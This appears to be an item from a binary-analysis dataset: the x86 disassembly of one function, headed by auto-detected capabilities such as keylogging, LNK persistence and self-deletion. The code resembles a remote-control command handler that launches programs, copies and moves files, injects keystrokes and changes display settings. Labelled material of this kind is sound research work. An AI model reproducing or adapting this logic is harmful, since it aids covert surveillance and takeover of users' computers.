Function at 0x4d4d58
Capabilities:
Check for foreground window switch
Check for time delay via gettickcount
Copy file
Create directory
Create process on windows
Log keystrokes via polling
Move file
Persist via lnk shortcut
Self delete
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x145
push 0
push 0
dec ecx
jne 0x4d4d60
push ebx
push esi
push edi
mov ebx, edx
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x19]
mov edx, dword [0x4eb670]
call fcn.00405200
xor eax, eax
push ebp
push 0x4d9dc4
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [0x52fed4], 0x805
xor eax, eax
mov al, byte [ebx + 0xc]
mov dword [0x538168], eax
xor eax, eax
mov al, byte [ebx + 0xc]
add eax, 0xfffffff6
cmp eax, 0xf5
ja case.0x4d4db8.10
mov al, byte [eax + 0x4d4dbf]
jmp dword [eax*4 + 0x4d4eb5]
mov ebx, dword [ebx + 0x10]
push 0x4d9de0
push dword [0x53833c]
push 0x4d9df4
lea eax, [ebp - 0xdc]
mov edx, 3
call fcn.004048d4
push 0x4d9de0
push dword [0x53833c]
push 0x4d9e04
lea eax, [ebp - 0xe0]
mov edx, 3
call fcn.004048d4
lea eax, [ebp - 0xdc]
call fcn.004d1d04
lea eax, [ebp - 0xe0]
call fcn.004d1d04
cmp ebx, 0xa
jne 0x4d50dd
lea edx, [ebp - 0x8c0]
mov eax, 0x13
call fcn.004a829c
mov eax, dword [ebp - 0x8c0]
mov ecx, dword [0x53832c]
mov edx, dword [0x53833c]
call fcn.0046ae78
test al, al
je case.0x4d4db8.10
mov eax, dword [ebp - 0xdc]
call fcn.004098c8
mov eax, dword [ebp - 0xe0]
call fcn.004098c8
jmp case.0x4d4db8.10
cmp ebx, 0xb
jne 0x4d5134
push 0
mov eax, dword [0x531a4c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xdc]
mov edx, 0x4d9e14
call fcn.004d0cb8
test eax, eax
jne case.0x4d4db8.10
lea edx, [ebp - 0x8c4]
mov eax, 0x13
call fcn.004a829c
mov eax, dword [ebp - 0x8c4]
mov edx, dword [0x53833c]
call fcn.0046ba40
mov eax, dword [ebp - 0xe0]
call fcn.004098c8
jmp case.0x4d4db8.10
cmp ebx, 0xc
jne 0x4d51f3
mov edx, dword [0x531a4c]
mov edx, dword [edx]
mov eax, 0x4d9e20
call fcn.00404b50
test eax, eax
jne case.0x4d4db8.10
mov dl, 1
mov eax, dword [0x414aa4]
call fcn.00403720
mov dword [ebp - 0x24], eax
push 0x4d9e2c
mov eax, dword [0x531a4c]
push dword [eax]
push 0x4d9e3c
lea eax, [ebp - 0x8c8]
mov edx, 3
call fcn.004048d4
mov edx, dword [ebp - 0x8c8]
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
call dword [ecx + 0x38]
lea eax, [ebp - 0x8cc]
mov edx, dword [ebp - 0xe0]
call fcn.00404e18
mov eax, dword [ebp - 0x8cc]
push eax
mov eax, dword [ebp - 0x24]
push eax
call fcn.0046c720
test al, al
je 0x4d51e6
lea edx, [ebp - 0x8d0]
mov eax, 0x13
call fcn.004a829c
mov eax, dword [ebp - 0x8d0]
mov edx, dword [0x53833c]
call fcn.0046ba40
mov eax, dword [ebp - 0xdc]
call fcn.004098c8
mov eax, dword [ebp - 0x24]
call fcn.00403750
jmp case.0x4d4db8.10
cmp ebx, 0xd
jne case.0x4d4db8.10
lea edx, [ebp - 0x8d4]
mov eax, 0x13
call fcn.004a829c
mov eax, dword [ebp - 0x8d4]
mov edx, dword [0x53833c]
call fcn.0046ba40
mov eax, dword [ebp - 0xdc]
call fcn.004098c8
mov eax, dword [ebp - 0xe0]
call fcn.004098c8
jmp case.0x4d4db8.10
mov eax, 0x5382b8
lea edx, [ebx + 0x20]
mov ecx, 0x400
call fcn.004047c4
lea edx, [ebp - 0x8d8]
mov eax, 0x12d
call fcn.004a829c
mov eax, dword [ebp - 0x8d8]
push eax
lea eax, [ebp - 0x8dc]
mov edx, dword [0x5314f0]
mov edx, dword [edx]
call fcn.00404e18
mov eax, dword [ebp - 0x8dc]
mov ecx, dword [0x5382b8]
pop edx
call fcn.0046c2d4
mov eax, dword [0x537154]
call fcn.0049c9d0
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004e06ec
jmp case.0x4d4db8.10
lea edx, [ebp - 0x8e0]
mov eax, 0x12d
call fcn.004a829c
mov eax, dword [ebp - 0x8e0]
push eax
lea eax, [ebp - 0x8e4]
mov edx, dword [0x5314f0]
mov edx, dword [edx]
call fcn.00404e18
mov eax, dword [ebp - 0x8e4]
xor ecx, ecx
pop edx
call fcn.0046c2d4
lea eax, [ebp - 0x8e8]
call fcn.004ec240
mov edx, dword [ebp - 0x8e8]
mov eax, 0x5382b8
call fcn.004045b0
mov eax, dword [0x537154]
call fcn.0049c9d0
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004e06ec
jmp case.0x4d4db8.10
mov eax, dword [ebx + 0x10]
cmp eax, dword [0x538415]
jne case.0x4d4db8.10
cmp byte [0x530544], 0
jne case.0x4d4db8.10
xor eax, eax
push ebp
push 0x4d5396
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [0x530544], 1
cmp byte [0x538408], 0
je 0x4d5364
mov byte [0x538421], 0
mov eax, dword [ebx + 0x14]
mov dword [0x53851c], eax
mov dl, 1
mov eax, dword [ebp - 0x28]
call fcn.004d3a44
jmp 0x4d5381
push 0
push 1
push 0
push 0
push 0
mov ecx, dword [0x538415]
mov edx, 0x76
mov eax, dword [ebp - 0x28]
call fcn.004d3220
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push case.0x4d4db8.10
mov byte [0x530544], 0
ret
cmp dword [0x52ff14], 0x521044e
jb case.0x4d4db8.10
mov eax, dword [ebx + 0x10]
shr eax, 8
mov byte [0x538484], al
mov eax, 0x538427
call fcn.0040455c
mov eax, dword [ebx + 0x18]
shr eax, 0x10
mov dword [0x5382c8], eax
mov eax, dword [ebx + 0x18]
and eax, 0xffff
mov dword [0x5382cc], eax
jmp case.0x4d4db8.10
lea edx, [ebp - 0x58]
lea eax, [ebx + 0x20]
call fcn.00409e5c
mov eax, dword [ebp - 0x58]
call fcn.004df668
jmp case.0x4d4db8.10
mov eax, dword [ebx + 0x1c]
mov dword [0x538324], eax
mov eax, dword [0x538324]
add eax, 0x5b
cmp eax, dword [0x5383b8]
jae 0x4d543d
push 0
push 0x3e8
mov eax, dword [0x52fedc]
mov edx, dword [0x52fee0]
call fcn.004058f0
and eax, 1
xor edx, edx
cmp edx, 0
jne 0x4d543d
cmp eax, 0
je case.0x4d4db8.10
mov eax, dword [ebx + 0x10]
mov dword [0x538470], eax
mov eax, dword [ebx + 0x14]
mov dword [0x538474], eax
push 0
push 0
push 0x502
mov eax, dword [ebp - 0x28]
call fcn.0045cb18
push eax
call sub.user32.dll_PostMessageA
jmp case.0x4d4db8.10
push 0
push 0
push 0x505
mov eax, dword [ebp - 0x28]
call fcn.0045cb18
push eax
call sub.user32.dll_PostMessageA
jmp case.0x4d4db8.10
push 0
push 0
push 0x503
mov eax, dword [ebp - 0x28]
call fcn.0045cb18
push eax
call sub.user32.dll_PostMessageA
jmp case.0x4d4db8.10
call fcn.004d3c4c
jmp case.0x4d4db8.10
mov eax, dword [0x537154]
call fcn.0049c9d0
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004e06ec
jmp case.0x4d4db8.10
mov eax, dword [0x537154]
call fcn.0049c9d0
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004e06ec
call fcn.004d43bc
xor edx, edx
mov eax, 1
call fcn.004d43dc
jmp case.0x4d4db8.10
mov eax, dword [0x537154]
call fcn.0049c9d0
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004e06ec
mov edx, dword [ebx + 0x10]
xor eax, eax
call fcn.004d0ea8
jmp case.0x4d4db8.10
mov eax, dword [ebx + 0x10]
mov dword [0x5304dc], eax
mov eax, dword [ebx + 0x14]
mov dword [0x5304d8], eax
cmp dword [0x5304d8], 0
jg case.0x4d4db8.10
mov eax, dword [0x537154]
call fcn.0049c9d0
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004e06ec
mov edx, dword [0x5304dc]
mov ax, 2
call fcn.004d0ea8
jmp case.0x4d4db8.10
mov eax, dword [0x537154]
call fcn.0049c9d0
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004e06ec
mov eax, dword [0x531a30]
cmp dword [eax], 2
jne 0x4d558f
mov edx, dword [ebx + 0x10]
mov ax, 8
call fcn.004d0ea8
jmp case.0x4d4db8.10
mov edx, dword [ebx + 0x10]
mov ax, 1
call fcn.004d0ea8
jmp case.0x4d4db8.10
cmp byte [0x52ff34], 2
je case.0x4d4db8.10
cmp byte [0x538426], 3
jne case.0x4d4db8.10
cmp byte [0x538408], 0
jne case.0x4d4db8.10
mov dl, 1
mov eax, dword [0x414aa4]
call fcn.00403720
mov dword [ebp - 0x24], eax
push 0
push 0
mov eax, dword [0x538409]
call fcn.004195b4
mov dword [ebp - 0x11], 0
mov dword [ebp - 0xd], 0
push ebp
lea edx, [ebp - 0x8f0]
mov eax, 0xf3
call fcn.004a829c
mov ecx, dword [ebp - 0x8f0]
mov edx, dword [0x531818]
mov edx, dword [edx]
lea eax, [ebp - 0x8ec]
call fcn.00404860
mov eax, dword [ebp - 0x8ec]
call fcn.004d4b84
pop ecx
push ebp
mov eax, dword [0x5382d0]
call fcn.004d4b84
pop ecx
lea edx, [ebp - 0x15]
mov ecx, 4
mov eax, dword [0x538409]
mov ebx, dword [eax]
call dword [ebx + 8]
cmp eax, 4
jne 0x4d56a2
cmp dword [ebp - 0x15], 0x55662143
jne 0x4d5686
lea edx, [ebp - 0x34]
mov eax, dword [0x538409]
call fcn.004ebe24
push ebp
mov edx, dword [0x531818]
mov edx, dword [edx]
lea eax, [ebp - 0x8f4]
mov ecx, dword [ebp - 0x34]
call fcn.00404860
mov eax, dword [ebp - 0x8f4]
call fcn.004d4b84
pop ecx
jmp 0x4d5634
mov ebx, dword [0x538409]
mov eax, ebx
call fcn.00419594
sub eax, 4
sbb edx, 0
push edx
push eax
mov eax, ebx
call fcn.004195b4
mov eax, dword [ebp - 0x24]
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
jle 0x4d56fa
lea edx, [ebp - 0x900]
mov eax, 0xb
call fcn.004a829c
mov ecx, dword [ebp - 0x900]
mov edx, dword [0x531818]
mov edx, dword [edx]
lea eax, [ebp - 0x8fc]
call fcn.00404860
mov edx, dword [ebp - 0x8fc]
lea eax, [ebp - 0x8f8]
call fcn.00404e18
mov eax, dword [ebp - 0x8f8]
push eax
mov eax, dword [ebp - 0x24]
push eax
call fcn.0046c720
jmp 0x4d572e
lea edx, [ebp - 0x908]
mov eax, 0xb
call fcn.004a829c
mov ecx, dword [ebp - 0x908]
mov edx, dword [0x531818]
mov edx, dword [edx]
lea eax, [ebp - 0x904]
call fcn.00404860
mov eax, dword [ebp - 0x904]
call fcn.004098c8
mov eax, dword [ebp - 0x24]
call fcn.00403750
mov eax, 0x12c
call fcn.004d0bb8
mov eax, dword [0x537154]
call fcn.0049c9d0
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004e06ec
call fcn.004d43bc
xor edx, edx
mov eax, 2
call fcn.004d43dc
mov byte [0x52ff40], 1
push 5
mov eax, dword [0x531818]
call fcn.00404a64
push eax
mov eax, 0x5382d4
call fcn.00404a64
push eax
mov eax, 0x5382d0
call fcn.00404a64
push eax
push 0x4d9e40
push 0
call sub.shell32.dll_ShellExecuteA
jmp case.0x4d4db8.10
lea edx, [ebp - 0x34]
lea eax, [ebx + 0x20]
call fcn.00409e5c
lea eax, [ebp - 0x34]
call fcn.004d1d04
push 1
push 0
push 0
mov eax, dword [ebp - 0x34]
call fcn.00404a0c
push eax
push 0x4d9e40
mov eax, dword [ebp - 0x28]
call fcn.0045cb18
push eax
call sub.shell32.dll_ShellExecuteA
jmp case.0x4d4db8.10
lea edx, [ebp - 0x34]
lea eax, [ebx + 0x20]
call fcn.00409e5c
mov eax, dword [ebp - 0x34]
call fcn.00404814
mov esi, eax
inc esi
lea eax, [ebx + esi + 0x20]
lea edx, [ebp - 0x38]
call fcn.00409e5c
mov eax, dword [ebp - 0x38]
call fcn.00404814
inc eax
add esi, eax
lea eax, [ebx + esi + 0x20]
lea edx, [ebp - 0x3c]
call fcn.00409e5c
lea edx, [ebp - 0x90c]
mov eax, 0xf4
call fcn.004a829c
mov edx, dword [ebp - 0x90c]
mov eax, dword [ebp - 0x34]
call fcn.00404958
jne 0x4d5870
lea eax, [ebp - 0x38]
call fcn.004d1d04
lea eax, [ebp - 0x3c]
call fcn.004d1d04
mov edx, 0x20
mov eax, dword [ebp - 0x3c]
call fcn.004097ac
push 0
mov eax, dword [ebp - 0x3c]
call fcn.00404a0c
push eax
mov eax, dword [ebp - 0x38]
call fcn.00404a0c
push eax
call sub.kernel32.dll_CopyFileA
jmp case.0x4d4db8.10
lea edx, [ebp - 0x910]
mov eax, 0xf5
call fcn.004a829c
mov edx, dword [ebp - 0x910]
mov eax, dword [ebp - 0x34]
call fcn.00404958
jne 0x4d59a9
mov eax, dword [ebp - 0x38]
call fcn.00404814
cmp eax, 3
jle case.0x4d4db8.10
lea eax, [ebp - 0x38]
call fcn.004d1d04
mov eax, dword [ebp - 0x38]
call fcn.0046c474
test al, al
je 0x4d58d3
mov eax, dword [ebp - 0x38]
call fcn.004e7c60
mov edx, 2
mov eax, dword [ebp - 0x38]
call fcn.004d17b0
jmp case.0x4d4db8.10
mov eax, dword [ebp - 0x38]
call fcn.00461b14
test al, al
je case.0x4d4db8.10
mov ecx, dword [ebp - 0x28]
mov dl, 1
mov eax, dword [0x46944c]
call fcn.004696d4
mov dword [ebp - 0xd8], eax
mov eax, dword [ebp - 0xd8]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x54], edx
mov dword [eax + 0x50], 0x4de734
mov eax, dword [ebp - 0xd8]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x4c], edx
mov dword [eax + 0x48], 0x4de970
mov eax, dword [ebp - 0xd8]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x64], edx
mov dword [eax + 0x60], 0x4deeac
mov eax, dword [ebp - 0xd8]
add eax, 0x40
mov edx, dword [ebp - 0x38]
call fcn.004045b0
mov eax, dword [ebp - 0xd8]
mov byte [eax + 0x71], 1
mov eax, dword [ebp - 0xd8]
mov dword [eax + 0xc], 1
xor eax, eax
push ebp
push 0x4d598b
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0xd8]
call fcn.00469788
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4d5992
mov eax, dword [ebp - 0xd8]
call fcn.00403750
ret
lea edx, [ebp - 0x914]
mov eax, 0xf6
call fcn.004a829c
mov edx, dword [ebp - 0x914]
mov eax, dword [ebp - 0x34]
call fcn.00404958
jne 0x4d5a04
lea eax, [ebp - 0x38]
call fcn.004d1d04
lea eax, [ebp - 0x3c]
call fcn.004d1d04
mov edx, 0x20
mov eax, dword [ebp - 0x3c]
call fcn.004097ac
push 3
mov eax, dword [ebp - 0x3c]
call fcn.00404a0c
push eax
mov eax, dword [ebp - 0x38]
call fcn.00404a0c
push eax
call sub.kernel32.dll_MoveFileExA
jmp case.0x4d4db8.10
mov eax, dword [ebx + 0x14]
and eax, 1
dec eax
sete byte [0x5384e8]
lea eax, [ebp - 0x3c]
call fcn.004d1d04
cmp dword [ebp - 0x3c], 0
jne 0x4d5a2b
lea edx, [ebp - 0x3c]
mov eax, dword [ebp - 0x34]
call fcn.0046c3ec
lea eax, [ebp - 0x34]
call fcn.004d1d04
mov eax, 0x5384dc
mov edx, dword [ebp - 0x34]
call fcn.004045b0
mov eax, 0x5384e0
mov edx, dword [ebp - 0x38]
call fcn.004045b0
mov eax, 0x5384e4
mov edx, dword [ebp - 0x3c]
call fcn.004045b0
mov eax, dword [ebx + 0x10]
mov dword [0x53051c], eax
cmp dword [0x53051c], 0
jg case.0x4d4db8.10
mov eax, dword [ebp - 0x28]
call fcn.004d4550
jmp case.0x4d4db8.10
lea eax, [ebp - 0x1d0]
push eax
push 0
push 0
call sub.user32.dll_EnumDisplaySettingsA
mov dword [ebp - 0x1a8], 0x1c0000
mov eax, dword [ebx + 0x10]
shr eax, 0x10
mov dword [ebp - 0x164], eax
mov eax, dword [ebx + 0x10]
and eax, 0xffff
mov dword [ebp - 0x160], eax
mov eax, dword [ebx + 0x14]
mov dword [ebp - 0x168], eax
push 1
lea eax, [ebp - 0x1d0]
push eax
call sub.user32.dll_ChangeDisplaySettingsA
jmp case.0x4d4db8.10
call fcn.004d4a90
jmp case.0x4d4db8.10
cmp byte [0x52ffe0], 1
jb case.0x4d4db8.10
mov eax, dword [0x52fedc]
mov dword [0x52fee4], eax
mov eax, dword [0x52fee0]
mov dword [0x52fee8], eax
mov esi, dword [ebx + 0x10]
mov edi, dword [ebx + 0x14]
push 0x14
call sub.user32.dll_GetKeyState
and ax, 1
cmp ax, 1
sete al
test byte [ebx + 0x18], 1
setne dl
xor al, dl
je 0x4d5b43
push 0
push 0
push 0
push 0x14
call sub.user32.dll_keybd_event
push 0
push 2
push 0
push 0x14
call sub.user32.dll_keybd_event
test byte [ebx + 0x18], 1
setne byte [0x530560]
push 0x90
call sub.user32.dll_GetKeyState
and ax, 1
cmp ax, 1
sete al
test byte [ebx + 0x18], 2
setne dl
xor al, dl
je 0x4d5b83
push 0
push 0
push 0
push 0x90
call sub.user32.dll_keybd_event
push 0
push 2
push 0
push 0x90
call sub.user32.dll_keybd_event
push 0x91
call sub.user32.dll_GetKeyState
and ax, 1
cmp ax, 1
sete al
test byte [ebx + 0x18], 4
setne dl
xor al, dl
je 0x4d5bc3
push 0
push 0
push 0
push 0x91
call sub.user32.dll_keybd_event
push 0
push 2
push 0
push 0x91
call sub.user32.dll_keybd_event
cmp esi, 0x14
je case.0x4d4db8.10
cmp esi, 0x90
je case.0x4d4db8.10
cmp esi, 0x91
je case.0x4d4db8.10
cmp esi, 0x10
jne 0x4d5c01
test edi, 0x80000000
je 0x4d5bfa
mov byte [0x530564], 0
jmp 0x4d5c01
mov byte [0x530564], 1
cmp esi, 0x12
jne 0x4d5c70
test edi, 0x1000000
jne 0x4d5c42
test edi, 0x80000000
je 0x4d5c2d
mov al, byte [0x4d9e48]
not eax
and al, byte [0x530508]
mov byte [0x530508], al
jmp 0x4d5cd7
mov al, byte [0x4d9e48]
or al, byte [0x530508]
mov byte [0x530508], al
jmp 0x4d5cd7
test edi, 0x80000000
je 0x4d5c5e
mov al, byte [0x4d9e4c]
not eax
and al, byte [0x530508]
mov byte [0x530508], al
jmp 0x4d5cd7
mov al, byte [0x4d9e4c]
or al, byte [0x530508]
mov byte [0x530508], al
jmp 0x4d5cd7
cmp esi, 0x11
jne 0x4d5cd7
test edi, 0x1000000
jne 0x4d5cab
test edi, 0x80000000
je 0x4d5c99
mov al, byte [0x4d9e50]
not eax
and al, byte [0x530508]
mov byte [0x530508], al
jmp 0x4d5cd7
mov al, byte [0x4d9e50]
or al, byte [0x530508]
mov byte [0x530508], al
jmp 0x4d5cd7
test edi, 0x80000000
je 0x4d5cc7
mov al, byte [0x4d9e54]
not eax
and al, byte [0x530508]
mov byte [0x530508], al
jmp 0x4d5cd7
mov al, byte [0x4d9e54]
or al, byte [0x530508]
mov byte [0x530508], al
mov eax, dword [0x53130c]
cmp dword [eax], 0
jne 0x4d5ce6
call fcn.004cbdd8
mov eax, dword [0x531230]
cmp dword [eax], 0
jne 0x4d5cf5
call fcn.004cd0f8
mov eax, dword [0x5313ec]
cmp dword [eax], 0
jne 0x4d5d04
call fcn.004cd854
cmp byte [0x5382a0], 0
je 0x4d5d86
mov al, byte [0x4d9e58]
cmp al, byte [0x530508]
jne 0x4d5d86
cmp esi, 0x41
jl 0x4d5d24
cmp esi, 0x5a
jle 0x4d5d5d
cmp esi, 0x30
jl 0x4d5d2e
cmp esi, 0x39
jle 0x4d5d5d
cmp esi, 0x60
jl 0x4d5d38
cmp esi, 0x6f
jle 0x4d5d5d
cmp esi, 0xba
jl 0x4d5d48
cmp esi, 0xc0
jle 0x4d5d5d
cmp esi, 0xdb
jl 0x4d5d58
cmp esi, 0xde
jle 0x4d5d5d
cmp esi, 0x20
jne 0x4d5d86
test edi, 0x80000000
jne case.0x4d4db8.10
mov edx, edi
mov eax, esi
call fcn.004d497c
xor edi, 0x80000000
mov edx, edi
mov eax, esi
call fcn.004d497c
jmp case.0x4d4db8.10
mov edx, edi
mov eax, esi
call fcn.004d497c
jmp case.0x4d4db8.10
cmp byte [0x52ffe0], 1
jb case.0x4d4db8.10
mov eax, dword [0x52fedc]
mov dword [0x52fee4], eax
mov eax, dword [0x52fee0]
mov dword [0x52fee8], eax
mov eax, dword [0x53130c]
cmp dword [eax], 0
jne 0x4d5dc8
call fcn.004cbdd8
mov eax, dword [0x531230]
cmp dword [eax], 0
jne 0x4d5dd7
call fcn.004cd0f8
mov eax, dword [0x5313ec]
cmp dword [eax], 0
jne 0x4d5de6
call fcn.004cd854
mov eax, dword [0x53130c]
cmp dword [eax], 0
jle 0x4d5fd1
mov eax, dword [ebx + 0x10]
cmp eax, 6
ja case.0x4d4db8.10
jmp dword [eax*4 + 0x4d5e07]
mov eax, 0x12
call fcn.004cb990
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 9
call fcn.004cb990
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 9
call fcn.004cb9a8
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x12
call fcn.004cb9a8
jmp case.0x4d4db8.10
mov eax, 0x12
call fcn.004cb990
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x1b
call fcn.004cb990
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x1b
call fcn.004cb9a8
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x12
call fcn.004cb9a8
jmp case.0x4d4db8.10
mov eax, 0x11
call fcn.004cb990
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x1b
call fcn.004cb990
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x1b
call fcn.004cb9a8
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x11
call fcn.004cb9a8
jmp case.0x4d4db8.10
mov eax, 0x11
call fcn.004cb990
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x10
call fcn.004cb990
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x10
call fcn.004cb9a8
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x11
call fcn.004cb9a8
jmp case.0x4d4db8.10
mov eax, 0x11
call fcn.004cb990
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x20
call fcn.004cb990
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x20
call fcn.004cb9a8
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x11
call fcn.004cb9a8
jmp case.0x4d4db8.10
mov eax, 0x11
call fcn.004cb990
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x12
call fcn.004cb990
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x2e
call fcn.004cb990
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x2e
call fcn.004cb9a8
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x12
call fcn.004cb9a8
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x11
call fcn.004cb9a8
jmp case.0x4d4db8.10
mov eax, dword [0x531230]
cmp dword [eax], 0
jle 0x4d62a6
mov eax, dword [ebx + 0x10]
cmp eax, 6
ja case.0x4d4db8.10
jmp dword [eax*4 + 0x4d5ff2]
push 0x12
mov eax, dword [0x531900]
mov eax, dword [eax]
push eax
mov eax, dword [0x5318fc]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 9
mov eax, dword [0x531900]
mov eax, dword [eax]
push eax
mov eax, dword [0x5318fc]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 9
mov eax, dword [0x531900]
mov eax, dword [eax]
push eax
mov eax, dword [0x531180]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x12
mov eax, dword [0x531900]
mov eax, dword [eax]
push eax
mov eax, dword [0x531180]
mov eax, dword [eax]
call eax
jmp case.0x4d4db8.10
push 0x12
mov eax, dword [0x531900]
mov eax, dword [eax]
push eax
mov eax, dword [0x5318fc]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x1b
mov eax, dword [0x531900]
mov eax, dword [eax]
push eax
mov eax, dword [0x5318fc]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x1b
mov eax, dword [0x531900]
mov eax, dword [eax]
push eax
mov eax, dword [0x531180]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x12
mov eax, dword [0x531900]
mov eax, dword [eax]
push eax
mov eax, dword [0x531180]
mov eax, dword [eax]
call eax
jmp case.0x4d4db8.10
push 0x11
mov eax, dword [0x531900]
mov eax, dword [eax]
push eax
mov eax, dword [0x5318fc]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x1b
mov eax, dword [0x531900]
mov eax, dword [eax]
push eax
mov eax, dword [0x5318fc]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x1b
mov eax, dword [0x531900]
mov eax, dword [eax]
push eax
mov eax, dword [0x531180]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x11
mov eax, dword [0x531900]
mov eax, dword [eax]
push eax
mov eax, dword [0x531180]
mov eax, dword [eax]
call eax
jmp case.0x4d4db8.10
push 0x11
mov eax, dword [0x531900]
mov eax, dword [eax]
push eax
mov eax, dword [0x5318fc]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x10
mov eax, dword [0x531900]
mov eax, dword [eax]
push eax
mov eax, dword [0x5318fc]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x10
mov eax, dword [0x531900]
mov eax, dword [eax]
push eax
mov eax, dword [0x531180]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x11
mov eax, dword [0x531900]
mov eax, dword [eax]
push eax
mov eax, dword [0x531180]
mov eax, dword [eax]
call eax
jmp case.0x4d4db8.10
push 0x11
mov eax, dword [0x531900]
mov eax, dword [eax]
push eax
mov eax, dword [0x5318fc]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x20
mov eax, dword [0x531900]
mov eax, dword [eax]
push eax
mov eax, dword [0x5318fc]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x20
mov eax, dword [0x531900]
mov eax, dword [eax]
push eax
mov eax, dword [0x531180]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x11
mov eax, dword [0x531900]
mov eax, dword [eax]
push eax
mov eax, dword [0x531180]
mov eax, dword [eax]
call eax
jmp case.0x4d4db8.10
push 0x11
mov eax, dword [0x531900]
mov eax, dword [eax]
push eax
mov eax, dword [0x5318fc]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x12
mov eax, dword [0x531900]
mov eax, dword [eax]
push eax
mov eax, dword [0x5318fc]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x2e
mov eax, dword [0x531900]
mov eax, dword [eax]
push eax
mov eax, dword [0x5318fc]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x2e
mov eax, dword [0x531900]
mov eax, dword [eax]
push eax
mov eax, dword [0x531180]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x12
mov eax, dword [0x531900]
mov eax, dword [eax]
push eax
mov eax, dword [0x531180]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x11
mov eax, dword [0x531900]
mov eax, dword [eax]
push eax
mov eax, dword [0x531180]
mov eax, dword [eax]
call eax
jmp case.0x4d4db8.10
mov eax, dword [0x5313ec]
cmp dword [eax], 0
jle 0x4d6699
mov eax, dword [ebx + 0x10]
cmp eax, 6
ja case.0x4d4db8.10
jmp dword [eax*4 + 0x4d62c7]
mov dword [ebp - 0x48], 0x12
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd52c
push eax
mov eax, dword [0x5310d0]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 9
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd52c
push eax
mov eax, dword [0x5310d0]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 9
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd52c
push eax
mov eax, dword [0x5312ec]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x12
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd52c
push eax
mov eax, dword [0x5312ec]
